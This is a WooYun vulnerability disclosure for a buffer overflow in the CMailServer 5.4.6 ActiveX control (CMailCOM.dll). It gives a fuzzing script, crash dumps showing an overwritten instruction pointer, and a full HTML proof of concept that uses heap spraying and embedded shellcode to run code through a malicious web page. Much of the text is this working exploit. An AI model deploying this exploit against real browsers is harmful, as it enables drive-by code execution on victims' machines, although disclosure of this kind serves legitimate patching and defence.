[公开漏洞]CMailServer Activex控件 CreateUserPath函数缓冲区溢出漏洞 - 漏洞预警

CMailServer Activex控件 CreateUserPath函数缓冲区溢出漏洞相关厂商：遥志漏洞作者：cloud4986 提交时间：2014-03-26 12:44 公开时间：2014-05-10 12:45 漏洞类型：命令执行危害等级：高自评Rank：15 漏洞状态：已交由第三方厂商(cncert国家互联网应急中心)处理漏洞来源：http://www.wooyun.org Tags标签： Activex控件漏洞，缓冲区溢出漏洞详情披露状态：

2014-03-26：细节已通知厂商并且等待厂商处理中
2014-03-30：厂商已经确认，细节仅向厂商公开
2014-04-09：细节向核心白帽子及相关领域专家公开
2014-04-19：细节向普通白帽子公开
2014-04-29：细节向实习白帽子公开
2014-05-10：细节向公众公开

简要描述：

遥志邮件服务器CmailServer5.4.6及以下版本activex插件（CMailCOM.dll）CreateUserPath、AddAttach、DeleteMailByUID、DeleteMailEx、SetBcc、GetMailDataEx、GetMailInfoEx、Logout、MoveToFolder、MoveToInbox、SetBody、SetCc、SetForwardSign、SetFrom、SetFromUID、SetReadSign、SetReplySign、SetSubject、SetTo等10多个函数存在缓冲区溢出漏洞，该漏洞允许通过恶意网页执行任意代码

详细说明：

对遥志邮件服务器CmailServer5.4.6及以下版本activex插件（CMailCOM.dll）CreateUserPath、AddAttach、DeleteMailByUID、DeleteMailEx、SetBcc、GetMailDataEx、GetMailInfoEx、Logout、MoveToFolder、MoveToInbox、SetBody、SetCc、SetForwardSign、SetFrom、SetFromUID、SetReadSign、SetReplySign、SetSubject、SetTo等10多个函数的String参数，构造超长串会导致缓冲区溢出发生，导致覆盖返回地址或seh链从而执行任意代码。

漏洞证明：

（先给出CreateUserPath证明，其余在获取到邀请码后上传）

漏洞名称：CreateUserPath函数存在缓冲区溢出漏洞

影响版本：CmailServer5.4.6以下版本

验证环境：winxp中文版sp1 ie6.0(sp3中文，ie6.0-ie7.0)

问题详情：（Fuzz测试结果）

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:6971D9B8-B53E-4C25-A414-76199768A592' id='target' />

<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog

targetFile = "C:\CMailServer2\CMailCOM.dll"

prototype = "Sub CreateUserPath ( ByVal bsUser As String )"

memberName = "CreateUserPath"

progid = "CMAILCOMLib.POP3"

argCount = 1

arg1=String(3092, "A")

target.CreateUserPath arg1

</script></job></package>

Exception Code: VC_THROW_SEH

Disasm: 77E53887POP ESI(KERNEL32.dll)

Seh Chain:

--------------------------------------------------

1 1583910 CMailCOM.DLL

2 41414141

Called From Returns To

--------------------------------------------------

KERNEL32.77E53887 CMailCOM.156F3C4

CMailCOM.156F3C4 CMailCOM.156A848

CMailCOM.156A848 CMailCOM.15676B1

CMailCOM.15676B1 CMailCOM.155FC05

CMailCOM.155FC05 41414141

Registers:

--------------------------------------------------

EIP 77E53887 -> E06D7363 -> Asc: csmcsm

EAX 0012A98C -> E06D7363 -> Asc: csmcsm

EBX 015848A4 -> 01547E60

ECX 00000000

EDX 0012AA2C -> 01591DE4

EDI 0012AA1C -> 0012AA48

ESI 0012AA1C -> 0012AA48

EBP 0012A9DC -> 0012AA1C

ESP 0012A988 -> 01586430 -> Asc: 0dX0dX

Block Disassembly:

--------------------------------------------------

77E53877LEA EDI,[EBP-3C]

77E5387AREP MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]

77E5387CPOP EDI

77E5387DLEA EAX,[EBP-50]

77E53880PUSH EAX

77E53881CALL [77E41500]

77E53887POP ESI <--- CRASH

77E53888LEAVE

77E53889RETN 10

77E5388CPUSH 18

77E5388EPUSH 77E63028

77E53893CALL 77E5A2D8

77E53898MOV EAX,FS:[18]

77E5389EMOV ESI,[EAX+30]

77E538A1CALL [77E410B8]

ArgDump:

--------------------------------------------------

EBP+8E06D7363

EBP+1200000001

EBP+1600000003

EBP+200012AA10 -> 19930520

EBP+240012ADA1 -> 60015839 -> Asc: 9X9X

EBP+280016EC84 -> 00140008

Stack Dump:

--------------------------------------------------

12A988 30 64 58 01 63 73 6D E0 01 00 00 00 00 00 00 00 [.dX.csm.........]

12A998 87 38 E5 77 03 00 00 00 20 05 93 19 2C AA 12 00 [...w............]

12A9A8 18 9E 58 01 07 00 00 00 00 00 00 00 00 00 00 00 [..X.............]

12A9B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [................]

12A9C8 FF FF FF FF FF FF FF FF 34 0C 00 00 14 E7 12 00 [................]

Exception Code: ACCESS_VIOLATION

Disasm: 41414141?????()

Seh Chain:

--------------------------------------------------

1 41414141

Called From Returns To

--------------------------------------------------

Registers:

--------------------------------------------------

EIP 41414141

EAX 00000000

EBX 015848A4 -> 01547E60

ECX 77F5166A -> 56000CC2

EDX 00140608 -> 77FC3460 -> Asc: `4`4

EDI 00000000

ESI 0016EC84 -> 00140008

EBP 41414141

ESP 0012E934 -> Asc: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Block Disassembly:

--------------------------------------------------

41414141????? <--- CRASH

Stack Dump:

--------------------------------------------------

12E934 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]

12E944 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]

12E954 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]

12E964 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]

12E974 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]

POC代码：

<html>

<body>

<object classid='clsid:6971D9B8-B53E-4C25-A414-76199768A592' id='target' /></object>

<script>

var nops = unescape("%u9090%u9090");

var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";

while (nops.length < 0x100000)

nops += nops;

nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);

nops=nops+shellcode;

var memory = new Array();

for (var i=0;i<250;i++)

memory[i] += nops;

var str = '';

while(str.length < 2048) str += '\x0C\x0C\x0C\x0C'; //

target.CreateUserPath(str);

</script>

</body>

</html>

修复方案：

目前厂商还没有修补措施，可以先禁用activex控件和脚本

危害等级：高

漏洞Rank：11

确认时间：2014-03-30 23:09

厂商回复：

可用于挂马威胁，对于白帽子提交的多个漏洞，拟披量收录并协调软件生产厂商。